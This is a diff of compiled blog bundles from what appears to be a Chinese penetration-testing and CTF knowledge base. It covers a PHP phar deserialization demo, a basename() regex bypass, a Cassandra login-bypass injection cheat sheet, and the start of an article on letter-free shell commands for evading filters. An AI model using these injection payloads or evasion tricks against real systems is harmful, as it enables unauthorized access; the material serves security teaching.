.img,{src:"https://cdn.wjlin0.com/img/202508191648105.png",alt:"img"})}),"\n",(0,r.jsx)(e.h4,{id:"\u5b9e\u9a8c",children:"\u5b9e\u9a8c"}),"\n",(0,r.jsxs)(e.p,{children:["\u524d\u63d0\uff1a\u5c06",(0,r.jsx)(e.code,{children:"php.ini"}),"\u4e2d\u7684",(0,r.jsx)(e.code,{children:"phar.readonly"}),"\u9009\u9879\u8bbe\u7f6e\u4e3a",(0,r.jsx)(e.code,{children:"off"}),"\uff0c\u4e0d\u7136\u65e0\u6cd5\u751f\u6210phar\u6587\u4ef6\u3002"]}),"\n",(0,r.jsx)(e.h5,{id:"pharphp",children:"phar.php\uff1a"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-php",children:'startBuffering();\n $phar->setStub(""); //\u8bbe\u7f6estub\n $o = new TestObject();\n $o -> data=\'Hello I am Ameng\';\n $phar->setMetadata($o); //\u5c06\u81ea\u5b9a\u4e49\u7684meta-data\u5b58\u5165manifest\n $phar->addFromString("test.txt", "test"); //\u6dfb\u52a0\u8981\u538b\u7f29\u7684\u6587\u4ef6\n //\u7b7e\u540d\u81ea\u52a8\u8ba1\u7b97\n $phar->stopBuffering();\n?>\n'})}),"\n",(0,r.jsx)(e.p,{children:"\u5728\u6211\u4eec\u8bbf\u95ee\u4e4b\u540e\uff0c\u4f1a\u5728\u5f53\u524d\u76ee\u5f55\u4e0b\u751f\u6210\u4e00\u4e2aphar.phar\u6587\u4ef6\uff0c\u5982\u4e0b\u56fe\u6240\u793a\u3002"}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202508191648106.png",alt:"img"})}),"\n",(0,r.jsxs)(e.p,{children:["\u7136\u540e\u67e5\u770b\u6587\u4ef6\u7684\u5341\u516d\u8fdb\u5236\u5f62\u5f0f\uff0c\u6211\u4eec\u5c31\u53ef\u4ee5\u770b\u5230meta-data\u662f\u4ee5\u5e8f\u5217\u5316\u7684\u5f62\u5f0f\u5b58\u50a8\u3002\u65e2\u7136\u5b58\u5728\u5e8f\u5217\u5316\u7684\u6570\u636e\uff0c\u90a3\u80af\u5b9a\u6709\u5e8f\u5217\u5316\u7684\u9006\u5411\u64cd\u4f5c\u53cd\u5e8f\u5217\u5316\u3002\u90a3\u4e48\u8fd9\u91cc\u5728PHP\u4e2d\u5b58\u5728\u5f88\u591a\u901a\u8fc7",(0,r.jsx)(e.code,{children:"phar://"}),"\u4f2a\u534f\u8bae\u89e3\u6790phar\u6587\u4ef6\u65f6\uff0c\u4f1a\u5c06meta-data\u8fdb\u884c\u53cd\u5e8f\u5217\u5316\u3002\u53ef\u7528\u51fd\u6570\u5982\u4e0b\u56fe"]}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202508191648107.png",alt:"img"})}),"\n",(0,r.jsx)(e.h5,{id:"amengphp",children:"Ameng.php"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-php",children:" data; // TODO: Implement __destruct() method.\n }\n}\ninclude('phar://phar.phar');\n?>\n"})}),"\n",(0,r.jsx)(e.p,{children:"\u6267\u884c\u7ed3\u679c\uff1a"}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202508191648109.png",alt:"img"})}),"\n",(0,r.jsxs)(e.p,{children:["\u8fd9\u91cc\u7b80\u5355\u4ecb\u7ecd\u4e00\u4e0bphar\u7684\u5927\u81f4\u5e94\u7528\uff0c\u66f4\u8be6\u7ec6\u53ef\u4ee5\u53c2\u8003",(0,r.jsx)(e.a,{href:"https://paper.seebug.org/680/",children:"seebug (opens new window)"}),"\u3002"]}),"\n",(0,r.jsx)(e.h2,{id:"\u5176\u4ed6\u4e00\u4e9b\u603b\u7ed3",children:"\u5176\u4ed6\u4e00\u4e9b\u603b\u7ed3"}),"\n",(0,r.jsx)(e.h3,{id:"basename",children:"basename()"}),"\n",(0,r.jsx)(e.p,{children:"\u6b64\u51fd\u6570\u8fd4\u56de\u8def\u5f84\u4e2d\u7684\u6587\u4ef6\u540d\u7684\u4e00\u90e8\u5206(\u540e\u9762)"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-php",children:"basename(path,suffix)\n"})}),"\n",(0,r.jsx)(e.h4,{id:"\u53c2\u6570-31",children:"\u53c2\u6570"}),"\n",(0,r.jsxs)(e.ul,{children:["\n",(0,r.jsx)(e.li,{children:"path\uff1a\u5fc5\u9700\u3002\u89c4\u5b9a\u8981\u68c0\u67e5\u7684\u8def\u5f84\u3002"}),"\n",(0,r.jsx)(e.li,{children:"suffix\uff1a\u53ef\u9009\u3002\u89c4\u5b9a\u6587\u4ef6\u7684\u6269\u5c55\u540d\u3002"}),"\n"]}),"\n",(0,r.jsx)(e.p,{children:"\u4ee3\u7801\u793a\u4f8b\uff1a"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-php",children:'\n \n\u6267\u884c\u7ed3\u679c\u2014\u2014>\ntest.php\n'})}),"\n",(0,r.jsx)(e.p,{children:"\u6b64\u51fd\u6570\u8fd8\u6709\u4e00\u4e2a\u7279\u70b9\uff0c\u5c31\u662f\u4f1a\u53bb\u6389\u6587\u4ef6\u540d\u7684\u975eASCII\u7801\u503c\u3002"}),"\n",(0,r.jsx)(e.p,{children:"\u4ee3\u7801\u793a\u4f8b\uff1a"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-php",children:"\n"})}),"\n",(0,r.jsxs)(e.p,{children:["\u6211\u4eec\u901a\u8fc7 url \u4f20\u5165\u53c2\u6570",(0,r.jsx)(e.code,{children:"x=index.php/config.php/%ff"})]}),"\n",(0,r.jsx)(e.p,{children:"\u7ed3\u679c\u5982\u4e0b\uff1a"}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202508191648110.png",alt:"img"})}),"\n",(0,r.jsxs)(e.p,{children:["\u6211\u4eec\u770b\u5230\uff0c",(0,r.jsx)(e.code,{children:"%ff"}),"\u76f4\u63a5\u6ca1\u4e86\uff0c\u800c\u662f\u76f4\u63a5\u8f93\u51fa\u524d\u9762\u7684\u7684\u6587\u4ef6\u540d\uff0c\u8fd9\u4e2a\u53ef\u4ee5\u7528\u6765\u7ed5\u8fc7\u4e00\u4e9b\u6b63\u5219\u5339\u914d\u3002\u539f\u56e0\u5c31\u5728\u4e8e",(0,r.jsx)(e.code,{children:"%ff"}),"\u5728\u901a\u8fc7 url \u4f20\u53c2\u65f6\u4f1a\u88ab url \u89e3\u7801\uff0c\u89e3\u7801\u6210\u4e86\u4e0d\u53ef\u89c1\u5b57\u7b26\uff0c\u6ee1\u8db3\u4e86",(0,r.jsx)(e.code,{children:"basename"}),"\u51fd\u6570\u5bf9\u6587\u4ef6\u540d\u7684\u975eASCII\u503c\u53bb\u9664\u7684\u7279\u70b9\uff0c\u4ece\u800c\u88ab\u5220\u6389\u3002"]}),"\n",(0,r.jsx)(e.h2,{id:"\u53c2\u8003\u6587\u732e",children:"\u53c2\u8003\u6587\u732e"}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.a,{href:"https://wiki.wgpsec.org/knowledge/code-audit/php-code-audit.html#php%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1%E5%9F%BA%E7%A1%80%E7%9F%A5%E8%AF%86",children:"\u72fc\u7ec4\u5b89\u5168\u56e2\u961f\u516c\u5f00\u77e5\u8bc6\u5e93"})})]})}function p(n={}){const{wrapper:e}={...(0,c.R)(),...n.components};return e?(0,r.jsx)(e,{...n,children:(0,r.jsx)(t,{...n})}):t(n)}}}]); \ No newline at end of file diff --git a/assets/js/dda7ad6e.c459d34c.js b/assets/js/dda7ad6e.c459d34c.js new file mode 100644 index 0000000..f0f7a00 --- /dev/null +++ b/assets/js/dda7ad6e.c459d34c.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[4275],{8793:(e,s,n)=>{n.r(s),n.d(s,{assets:()=>i,contentTitle:()=>d,default:()=>h,frontMatter:()=>t,metadata:()=>a,toc:()=>c});const a=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/WEB\u6f0f\u6d1e/SQL\u6ce8\u5165/Cassandra","title":"Cassandra","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/01.\u6e17\u900f\u6d4b\u8bd5/02.WEB\u6f0f\u6d1e/01.SQL\u6ce8\u5165/10.Cassandra.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/01.\u6e17\u900f\u6d4b\u8bd5/02.WEB\u6f0f\u6d1e/01.SQL\u6ce8\u5165","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/WEB\u6f0f\u6d1e/SQL\u6ce8\u5165/Cassandra","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/WEB\u6f0f\u6d1e/SQL\u6ce8\u5165/Cassandra","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/01.\u6e17\u900f\u6d4b\u8bd5/02.WEB\u6f0f\u6d1e/01.SQL\u6ce8\u5165/10.Cassandra.md","tags":[],"version":"current","sidebarPosition":10,"frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"DB2","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/WEB\u6f0f\u6d1e/SQL\u6ce8\u5165/DB2"},"next":{"title":"BigQuery","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/WEB\u6f0f\u6d1e/SQL\u6ce8\u5165/BigQuery"}}');var l=n(74848),r=n(28453);const t={},d=void 0,i={},c=[{value:"\u603b\u7ed3",id:"\u603b\u7ed3",level:2},{value:"\u5361\u6851\u5fb7\u62c9\u8bc4\u8bba",id:"\u5361\u6851\u5fb7\u62c9\u8bc4\u8bba",level:2},{value:"Cassandra-\u7ed5\u8fc7\u767b\u5f55",id:"cassandra-\u7ed5\u8fc7\u767b\u5f55",level:2},{value:"\u767b\u5f55\u7ed5\u8fc7 0",id:"\u767b\u5f55\u7ed5\u8fc7-0",level:3},{value:"\u7ed5\u8fc7\u767b\u5f55 1",id:"\u7ed5\u8fc7\u767b\u5f55-1",level:3},{value:"\u53c2\u8003\u6587\u732e",id:"\u53c2\u8003\u6587\u732e",level:2}];function o(e){const s={a:"a",blockquote:"blockquote",code:"code",h2:"h2",h3:"h3",img:"img",li:"li",p:"p",pre:"pre",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",ul:"ul",...(0,r.R)(),...e.components};return(0,l.jsxs)(l.Fragment,{children:[(0,l.jsxs)(s.table,{children:[(0,l.jsx)(s.thead,{children:(0,l.jsxs)(s.tr,{children:[(0,l.jsx)(s.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,l.jsx)(s.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,l.jsx)(s.tbody,{children:(0,l.jsxs)(s.tr,{children:[(0,l.jsx)(s.td,{style:{textAlign:"left"},children:(0,l.jsx)(s.img,{src:"https://img.shields.io/badge/wjlin0-blog-green",alt:"wjlin0"})}),(0,l.jsx)(s.td,{style:{textAlign:"left"},children:"2023-07-05 21:37:29"})]})})]}),"\n",(0,l.jsxs)(s.blockquote,{children:["\n",(0,l.jsx)(s.p,{children:"Apache Cassandra \u662f\u4e00\u4e2a\u514d\u8d39\u5f00\u6e90\u7684\u5206\u5e03\u5f0f\u5bbd\u5217\u5b58\u50a8 NoSQL \u6570\u636e\u5e93\u7ba1\u7406\u7cfb\u7edf"}),"\n"]}),"\n",(0,l.jsx)(s.h2,{id:"\u603b\u7ed3",children:"\u603b\u7ed3"}),"\n",(0,l.jsxs)(s.ul,{children:["\n",(0,l.jsx)(s.li,{children:(0,l.jsx)(s.a,{href:"#cassandra-comment",children:"\u5361\u6851\u5fb7\u62c9\u8bc4\u8bba"})}),"\n",(0,l.jsxs)(s.li,{children:[(0,l.jsx)(s.a,{href:"#cassandra---login-bypass",children:"Cassandra-\u7ed5\u8fc7\u767b\u5f55"}),"\n",(0,l.jsxs)(s.ul,{children:["\n",(0,l.jsx)(s.li,{children:(0,l.jsx)(s.a,{href:"#login-bypass-0",children:"\u767b\u5f55\u7ed5\u8fc7 0"})}),"\n",(0,l.jsx)(s.li,{children:(0,l.jsx)(s.a,{href:"#login-bypass-1",children:"\u7ed5\u8fc7\u767b\u5f55 1"})}),"\n"]}),"\n"]}),"\n",(0,l.jsx)(s.li,{children:(0,l.jsx)(s.a,{href:"#references",children:"References"})}),"\n"]}),"\n",(0,l.jsx)(s.h2,{id:"\u5361\u6851\u5fb7\u62c9\u8bc4\u8bba",children:"\u5361\u6851\u5fb7\u62c9\u8bc4\u8bba"}),"\n",(0,l.jsx)(s.pre,{children:(0,l.jsx)(s.code,{className:"language-sql",children:"/* Cassandra Comment */\n"})}),"\n",(0,l.jsx)(s.h2,{id:"cassandra-\u7ed5\u8fc7\u767b\u5f55",children:"Cassandra-\u7ed5\u8fc7\u767b\u5f55"}),"\n",(0,l.jsx)(s.h3,{id:"\u767b\u5f55\u7ed5\u8fc7-0",children:"\u767b\u5f55\u7ed5\u8fc7 0"}),"\n",(0,l.jsx)(s.pre,{children:(0,l.jsx)(s.code,{className:"language-sql",children:"username: admin' ALLOW FILTERING; %00\npassword: ANY\n"})}),"\n",(0,l.jsx)(s.h3,{id:"\u7ed5\u8fc7\u767b\u5f55-1",children:"\u7ed5\u8fc7\u767b\u5f55 1"}),"\n",(0,l.jsx)(s.pre,{children:(0,l.jsx)(s.code,{className:"language-sql",children:"username: admin'/*\npassword: */and pass>'\n"})}),"\n",(0,l.jsx)(s.p,{children:"\u6ce8\u5165\u770b\u8d77\u6765\u50cf\u4e0b\u9762\u7684 SQL \u67e5\u8be2"}),"\n",(0,l.jsx)(s.pre,{children:(0,l.jsx)(s.code,{className:"language-sql",children:"SELECT * FROM users WHERE user = 'admin'/*' AND pass = '*/and pass>'' ALLOW FILTERING;\n"})}),"\n",(0,l.jsx)(s.h2,{id:"\u53c2\u8003\u6587\u732e",children:"\u53c2\u8003\u6587\u732e"})]})}function h(e={}){const{wrapper:s}={...(0,r.R)(),...e.components};return s?(0,l.jsx)(s,{...e,children:(0,l.jsx)(o,{...e})}):o(e)}},28453:(e,s,n)=>{n.d(s,{R:()=>t,x:()=>d});var a=n(96540);const l={},r=a.createContext(l);function t(e){const s=a.useContext(r);return a.useMemo(function(){return"function"==typeof e?e(s):{...s,...e}},[s,e])}function d(e){let s;return s=e.disableParentContext?"function"==typeof e.components?e.components(l):e.components||l:t(e.components),a.createElement(r.Provider,{value:s},e.children)}}}]); \ No newline at end of file diff --git a/assets/js/de21a6a6.3d1328f4.js b/assets/js/de21a6a6.3d1328f4.js new file mode 100644 index 0000000..21c5524 --- /dev/null +++ b/assets/js/de21a6a6.3d1328f4.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[3021],{9877:(e,n,s)=>{s.d(n,{A:()=>d});const d=s.p+"assets/images/image-20240607202145762-915de2207e2a69db942a6c18f8fbf48d.png"},24026:(e,n,s)=>{s.d(n,{A:()=>d});const d=s.p+"assets/images/image-20240609110839466-92e51028405d00a9a04b6236defafd07.png"},24583:(e,n,s)=>{s.d(n,{A:()=>d});const d=s.p+"assets/images/image-20240607201706852-6b8f9baa785fcb3fd32b71ca9a8ce143.png"},28453:(e,n,s)=>{s.d(n,{R:()=>l,x:()=>i});var d=s(96540);const c={},$=d.createContext(c);function l(e){const n=d.useContext($);return d.useMemo(function(){return"function"==typeof e?e(n):{...n,...e}},[n,e])}function i(e){let n;return n=e.disableParentContext?"function"==typeof e.components?e.components(c):e.components||c:l(e.components),d.createElement($.Provider,{value:n},e.children)}},30198:(e,n,s)=>{s.d(n,{A:()=>d});const d=s.p+"assets/images/image-20240607202342270-a52e64facec8b502692b480425e39664.png"},35088:(e,n,s)=>{s.d(n,{A:()=>d});const d=s.p+"assets/images/image-20240607202310491-3f0f0a1a887e20db97768f91593be647.png"},49561:(e,n,s)=>{s.d(n,{A:()=>d});const d=s.p+"assets/images/image-20240609111007447-e5882c39650cbef071be218ed670d3b0.png"},68610:(e,n,s)=>{s.d(n,{A:()=>d});const d=s.p+"assets/images/image-20240609110358501-f7160643de72279dd8d0d7d2faa2e71d.png"},75886:(e,n,s)=>{s.d(n,{A:()=>d});const d=s.p+"assets/images/image-20240607202025621-d27ed45fd207324ea3207e1c18f94328.png"},77766:(e,n,s)=>{s.d(n,{A:()=>d});const d=s.p+"assets/images/image-20240607201343119-78a2537d41cf22b9a1953d1a46ebdd44.png"},79966:(e,n,s)=>{s.r(n),s.d(n,{assets:()=>r,contentTitle:()=>i,default:()=>h,frontMatter:()=>l,metadata:()=>d,toc:()=>t});const d=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/CTF/\u5947\u6280\u6deb\u5de7/\u5229\u7528shell\u811a\u672c\u53d8\u91cf\u6784\u9020\u65e0\u5b57\u6bcd\u6570\u5b57\u547d\u4ee4","title":"\u5229\u7528shell\u811a\u672c\u53d8\u91cf\u6784\u9020\u65e0\u5b57\u6bcd\u6570\u5b57\u547d\u4ee4","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/07.CTF/02.\u5947\u6280\u6deb\u5de7/02.\u5229\u7528shell\u811a\u672c\u53d8\u91cf\u6784\u9020\u65e0\u5b57\u6bcd\u6570\u5b57\u547d\u4ee4.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/07.CTF/02.\u5947\u6280\u6deb\u5de7","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/CTF/\u5947\u6280\u6deb\u5de7/\u5229\u7528shell\u811a\u672c\u53d8\u91cf\u6784\u9020\u65e0\u5b57\u6bcd\u6570\u5b57\u547d\u4ee4","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/CTF/\u5947\u6280\u6deb\u5de7/\u5229\u7528shell\u811a\u672c\u53d8\u91cf\u6784\u9020\u65e0\u5b57\u6bcd\u6570\u5b57\u547d\u4ee4","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/07.CTF/02.\u5947\u6280\u6deb\u5de7/02.\u5229\u7528shell\u811a\u672c\u53d8\u91cf\u6784\u9020\u65e0\u5b57\u6bcd\u6570\u5b57\u547d\u4ee4.md","tags":[],"version":"current","sidebarPosition":2,"frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"01.PHP\u5229\u7528GNU-C-Iconv\u5c06\u6587\u4ef6\u8bfb\u53d6\u53d8\u6210RCE\uff08CVE-2024-2961\uff09","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/CTF/\u5947\u6280\u6deb\u5de7/PHP\u5229\u7528GNU-C-Iconv\u5c06\u6587\u4ef6\u8bfb\u53d6\u53d8\u6210RCE\uff08CVE-2024-2961\uff09"},"next":{"title":"FILTERS\u7684\u4efb\u610f\u683c\u5f0f\u8f93\u51fa","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/CTF/\u5947\u6280\u6deb\u5de7/FILTERS\u7684\u4efb\u610f\u683c\u5f0f\u8f93\u51fa"}}');var c=s(74848),$=s(28453);const l={},i="\u5229\u7528shell\u811a\u672c\u53d8\u91cf\u6784\u9020\u65e0\u5b57\u6bcd\u6570\u5b57\u547d\u4ee4",r={},t=[{value:"shell\u811a\u672c\u4e2d$\u7684\u591a\u79cd\u7528\u6cd5",id:"shell\u811a\u672c\u4e2d\u7684\u591a\u79cd\u7528\u6cd5",level:2},{value:"\u6709\u6570\u5b57\u7684\u547d\u4ee4\u6267\u884c",id:"\u6709\u6570\u5b57\u7684\u547d\u4ee4\u6267\u884c",level:2},{value:"\u5229\u7528$#\u6784\u9020",id:"\u5229\u7528\u6784\u9020",level:2}];function a(e){const n={code:"code",h1:"h1",h2:"h2",header:"header",img:"img",p:"p",pre:"pre",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",...(0,$.R)(),...e.components};return(0,c.jsxs)(c.Fragment,{children:[(0,c.jsxs)(n.table,{children:[(0,c.jsx)(n.thead,{children:(0,c.jsxs)(n.tr,{children:[(0,c.jsx)(n.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,c.jsx)(n.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,c.jsx)(n.tbody,{children:(0,c.jsxs)(n.tr,{children:[(0,c.jsx)(n.td,{style:{textAlign:"left"},children:(0,c.jsx)(n.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,c.jsx)(n.td,{style:{textAlign:"left"},children:"2025-10-14 23:58:22"})]})})]}),"\n",(0,c.jsx)(n.header,{children:(0,c.jsx)(n.h1,{id:"\u5229\u7528shell\u811a\u672c\u53d8\u91cf\u6784\u9020\u65e0\u5b57\u6bcd\u6570\u5b57\u547d\u4ee4",children:"\u5229\u7528shell\u811a\u672c\u53d8\u91cf\u6784\u9020\u65e0\u5b57\u6bcd\u6570\u5b57\u547d\u4ee4"})}),"\n",(0,c.jsx)(n.h2,{id:"shell\u811a\u672c\u4e2d\u7684\u591a\u79cd\u7528\u6cd5",children:"shell\u811a\u672c\u4e2d$\u7684\u591a\u79cd\u7528\u6cd5"}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,c.jsxs)(n.table,{children:[(0,c.jsx)(n.thead,{children:(0,c.jsxs)(n.tr,{children:[(0,c.jsx)(n.th,{children:"\u53d8\u91cf\u540d"}),(0,c.jsx)(n.th,{children:"\u542b\u4e49"})]})}),(0,c.jsxs)(n.tbody,{children:[(0,c.jsxs)(n.tr,{children:[(0,c.jsx)(n.td,{children:"$0"}),(0,c.jsx)(n.td,{children:"\u811a\u672c\u672c\u8eab\u7684\u540d\u5b57"})]}),(0,c.jsxs)(n.tr,{children:[(0,c.jsx)(n.td,{children:"$1"}),(0,c.jsx)(n.td,{children:"\u811a\u672c\u540e\u6240\u8f93\u5165\u7684\u7b2c\u4e00\u4e32\u5b57\u7b26"})]}),(0,c.jsxs)(n.tr,{children:[(0,c.jsx)(n.td,{children:"$2"}),(0,c.jsx)(n.td,{children:"\u4f20\u9012\u7ed9\u8be5shell\u811a\u672c\u7684\u7b2c\u4e8c\u4e2a\u53c2\u6570"})]}),(0,c.jsxs)(n.tr,{children:[(0,c.jsx)(n.td,{children:"$*"}),(0,c.jsx)(n.td,{children:"\u811a\u672c\u540e\u6240\u8f93\u5165\u7684\u6240\u6709\u5b57\u7b26\u2019westos\u2019 \u2018linux\u2019 \u2018lyq\u2019"})]}),(0,c.jsxs)(n.tr,{children:[(0,c.jsx)(n.td,{children:"$@"}),(0,c.jsx)(n.td,{children:"\u811a\u672c\u540e\u6240\u8f93\u5165\u7684\u6240\u6709\u5b57\u7b26\u2019westos\u2019 \u2018linux\u2019 \u2018lyq\u2019"})]}),(0,c.jsxs)(n.tr,{children:[(0,c.jsx)(n.td,{children:"$_"}),(0,c.jsx)(n.td,{children:"\u8868\u793a\u4e0a\u4e00\u4e2a\u547d\u4ee4\u7684\u6700\u540e\u4e00\u4e2a\u53c2\u6570"})]}),(0,c.jsxs)(n.tr,{children:[(0,c.jsx)(n.td,{children:"$#"}),(0,c.jsx)(n.td,{children:"#\u811a\u672c\u540e\u6240\u8f93\u5165\u7684\u5b57\u7b26\u4e32\u4e2a\u6570"})]}),(0,c.jsxs)(n.tr,{children:[(0,c.jsx)(n.td,{children:"$$"}),(0,c.jsx)(n.td,{children:"\u811a\u672c\u8fd0\u884c\u7684\u5f53\u524d\u8fdb\u7a0bID\u53f7"})]}),(0,c.jsxs)(n.tr,{children:[(0,c.jsx)(n.td,{children:"$!"}),(0,c.jsx)(n.td,{children:"\u8868\u793a\u6700\u540e\u6267\u884c\u7684\u540e\u53f0\u547d\u4ee4\u7684PID"})]}),(0,c.jsxs)(n.tr,{children:[(0,c.jsx)(n.td,{children:"$?"}),(0,c.jsx)(n.td,{children:"\u663e\u793a\u6700\u540e\u547d\u4ee4\u7684\u9000\u51fa\u72b6\u6001\uff0c0\u8868\u793a\u6ca1\u6709\u9519\u8bef\uff0c\u5176\u4ed6\u8868\u793a\u7531\u9519\u8bef"})]})]})]}),"\n",(0,c.jsx)(n.h2,{id:"\u6709\u6570\u5b57\u7684\u547d\u4ee4\u6267\u884c",children:"\u6709\u6570\u5b57\u7684\u547d\u4ee4\u6267\u884c"}),"\n",(0,c.jsxs)(n.p,{children:["\u9996\u5148\uff0c\u5728linux\u91cc\u5b8c\u7f8e\u53ef\u4ee5\u5229\u7528\u516b\u8fdb\u5236\u7684\u65b9\u6cd5\u7ed5\u8fc7\u4e00\u4e9bban\u4e86\u5b57\u6bcd\u7684\u9898 \uff0c\u5373\u6211\u4eec\u53ef\u4ee5\u4f7f\u7528",(0,c.jsx)(n.code,{children:"$'\\xxx'"}),"\u7684\u65b9\u5f0f\u6267\u884c\u547d\u4ee4\uff0c\u6bd4\u5982\u6211\u4eec\u53ef\u4ee5\u7528",(0,c.jsx)(n.code,{children:"$'\\154\\163'"}),"\u6267\u884c",(0,c.jsx)(n.code,{children:"ls"}),"\uff1a"]}),"\n",(0,c.jsx)(n.pre,{children:(0,c.jsx)(n.code,{className:"language-sh",children:"\u279c / $'\\154\\163'\n\u279c / \n"})}),"\n",(0,c.jsx)(n.p,{children:(0,c.jsx)(n.img,{alt:"image-20240607201034726",src:s(94825).A+"",width:"2634",height:"96"})}),"\n",(0,c.jsx)(n.p,{children:"\u53ef\u4ee5\u53d1\u73b0\u6709\u4e86\u8fd9\u79cd\u6280\u5de7\u6211\u4eec\u5c31\u53ef\u4ee5\u5728\u6570\u5b57\u53ef\u7528\u7684\u60c5\u51b5\u4e0b\u8fdb\u884c\u547d\u4ee4\u6784\u9020\u3002"}),"\n",(0,c.jsxs)(n.p,{children:["\u9664\u6b64\u4e4b\u5916\u5728bash\u91cc\u6211\u4eec\u53ef\u4ee5\u4f7f\u7528",(0,c.jsx)(n.code,{children:"[base#]n"}),"\u7684\u65b9\u5f0f\u8868\u793a\u6570\u5b57\uff0c\u4e5f\u5c31\u662f\u8bf4\u6211\u53ef\u4ee5\u7528",(0,c.jsx)(n.code,{children:"2#100"}),"\u8868\u793a\u5341\u8fdb\u5236\u6570\u5b57",(0,c.jsx)(n.code,{children:"4"})]}),"\n",(0,c.jsx)(n.pre,{children:(0,c.jsx)(n.code,{className:"language-shell",children:"\u279c / echo $((2#100))\n4\n\u279c / echo $((2#101))\n5\n\u279c /\n"})}),"\n",(0,c.jsx)(n.p,{children:(0,c.jsx)(n.img,{alt:"image-20240607201343119",src:s(77766).A+"",width:"914",height:"268"})}),"\n",(0,c.jsxs)(n.p,{children:["\u56e0\u6b64\u4ece\u8fd9\u91cc\u6211\u4eec\u53c8\u5411\u524d\u63a8\u8fdb\u4e86\u4e00\u6b65\uff0c\u53ea\u6709\u6211\u4eec\u6709\u6570\u5b571\u6216\u80050\u90a3\u5c31\u53ef\u4ee5\u7ee7\u7eed\u6784\u9020\u547d\u4ee4\u3002\u5047\u5982\u73b0\u5728\u5b57\u6bcd\u6216\u8005\u6570\u5b57\u53ea\u67091\u548c0\u53ef\u4ee5\u7528\uff0c\u8fd9\u65f6\u6211\u4eec\u53ef\u4ee5\u4f7f\u7528\u4f4d\u79fb\u8fd0\u7b97",(0,c.jsx)(n.code,{children:"1<<1"}),"\u4ee3\u66ff2\uff0c\u5f97\u5230payload\uff1a"]}),"\n",(0,c.jsx)(n.pre,{children:(0,c.jsx)(n.code,{className:"language-tex",children:"$\\'\\\\$(($((1<<1))#10011010))\\\\$(($((1<<1))#10100011))\\'\n"})}),"\n",(0,c.jsxs)(n.p,{children:["\u7406\u8bba\u4e0a\u5b83\u53ef\u4ee5\u4ee3\u66ff",(0,c.jsx)(n.code,{children:"$'\\154\\163'"}),"\u6267\u884c\u547d\u4ee4\uff0c\u4f46\u4e8b\u5b9e\u4e0a\u662f\u4e0d\u884c\u7684\uff1a"]}),"\n",(0,c.jsx)(n.pre,{children:(0,c.jsx)(n.code,{className:"language-sh",children:"\u279c / $\\'\\\\$(($((1<<1))#10011010))\\\\$(($((1<<1))#10100011))\\'\nzsh: command not found: $'\\154\\163'\n\u279c / 